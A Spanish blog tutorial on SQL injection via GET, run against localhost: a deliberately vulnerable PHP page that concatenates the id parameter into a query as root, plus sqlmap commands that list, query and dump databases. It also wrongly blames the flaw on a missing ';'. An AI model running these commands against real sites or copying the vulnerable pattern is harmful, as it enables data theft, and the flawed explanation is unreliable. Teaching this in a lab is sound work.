Inyección SQL, usando GET

En esta entrada vamos a ver ejemplos de cómo una inyección SQL puede entrar en nuestro servidor de base de datos.

Lo primero de todo es dejar claro, que realizar inyecciones SQL, sin consentimiento del propietario de los datos es ilegal en la mayoría de los países.

inyección sql

Aquí vamos a realizar los ejemplos en nuestro servidor local, localhost.

¿Qué es una inyección SQL?

Las inyecciones SQL son la pesadilla de cualquier programador, que acceda a base de datos alojadas en un servidor. Como podemos encontrar en Wikipedia:

Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar operaciones sobre una base de datos.

Herramientas necesarias

Python 2.7. La versión 2.7.14 es compatible con SQLmap. Es un lenguaje de programación interpretado, cuya característica fundamental es conseguir una sintaxis que favorezca un código legible.

En definitiva, se trata de un lenguaje de programación que soporta orientación a objetos, programación imperativa y, en menor medida, programación funcional. Es un lenguaje interpretado, con tipado dinámico y es multiplataforma.

Python se creó a finales de los ochenta por Guido van Rossum en el Centro para las Matemáticas y la Informática en los Países Bajos.

Filosofía Zen de Python

SQLmap. Sqlmap es una herramienta de prueba de penetración de código abierto que automatiza el proceso de detección y explotación de fallos de inyección de SQL.

Inyecciones por medio de GET

Para ver un ejemplo de inyección SQL, vamos a usar 2 archivos:

  • Index.html
  • Entrada.php

Index.html

<!DOCTYPE html>
<html lang="es">

<head>
    <meta charset="UTF-8">
    <title>Inyección SQL</title>
</head>

<body>
    <h1>Inyección SQL con Sqlmap</h1>
    <p>
        <a href="entrada.php?id=1">Ir a...</a>
    </p>
</body>

</html>

En primer lugar, en este archivo solo tenemos una variable id pasada por el método GET en la línea 12. Aquí comienza nuestra vulnerabilidad.

De este modo, el vínculo nos lleva al archivo entrada.php.

Entrada.php

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>Inyección SQL con Sqlmap</title>
</head>

<body>
    <h1>Ejemplo básico con GET</h1>
    <?php 
        if(isset($_GET["id"])){
            $id = $_GET["id"];
            $con = mysqli_connect("localhost","root","","inyeccion");

            $select = "SELECT * FROM usuarios WHERE id=".$id;
            $query = mysqli_query($con,$select);
            $columna = mysqli_fetch_array($query);
            
            echo "<h2>Bienvenid@</h2>";
            echo "Hola: ".$columna[1]."<br>";
            echo "Email: ".$columna[2]."<br>";
        }
        else{
            header("location: index.html");
        }
    
        mysqli_close($con);
    ?>
    
</body>
</html>

En segundo lugar, el archivo entrada.php utiliza el método GET en las líneas 11 al 15:

if(isset($_GET["id"])){
   $id = $_GET["id"];
   $con = mysqli_connect("localhost","root","","inyeccion");

   $select = "SELECT * FROM usuarios WHERE id=".$id;

La vulnerabilidad aparece en la línea 15. Aquí tenemos una consulta sql que no aparece con el final de línea (‘;’). Además utiliza la variable $id, que viene del array $_GET[“id”].

SQLmap

Para comprobar si tenemos una vulnerabilidad SQL en nuestro archivo entrada.php, vamos a usar la herramienta SQLmap.

SQLmap realizará inyecciones SQL automáticas para descubrir la posible vulnerabilidad de nuestro archivo entrada.php.

Después de instalar el lenguaje programación Python 2.7, copiaremos y descomprimiremos el archivo sqlmapproject-sqlmap-1.2.2-16-g67f8c22.zip en la carpeta C:\sqlmap de nuestro ordenador.

Luego, para arrancar la herramienta SQLmap, accedemos al símbolo del sistema de Windows con cmd y escribimos las siguientes líneas:

cd \sqlmap
sqlmap.py -u "http://localhost:8080/inyeccion/entrada.php?id=1" --dbs

podremos acceder a todas las bases de datos de nuestro servidor local.

Más ejemplos

Ejecuta una sql de la BD activa inyeccion:

sqlmap.py -u "http://localhost:8080/inyeccion/entrada.php?id=1" -D inyeccion --sql-query "Select * from usuarios"

Muestra los nombres de las tablas de la BD pruebas:

sqlmap.py -u "http://localhost:8080/inyeccion/entrada.php?id=1" --tables -D pruebas

Muestra las tablas con estructuras y datos de la BD bdcomidas:

sqlmap.py -u "http://localhost:8080/inyeccion/entrada.php?id=1" --dump -D dbcomidas -tables

Por último, con estos ejemplos, podemos comprobar que accedemos a cualquier dato alojado en nuestro servidor de base de datos, a partir de una inyección SQL.

En esta entrada de consultas preparadas SQL puedes ver una solución a las inyecciones SQL.

También puede interesarte

Usuarios – Login en PHP

Variables de sesión – PHP

Insertar registros – MySQL

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *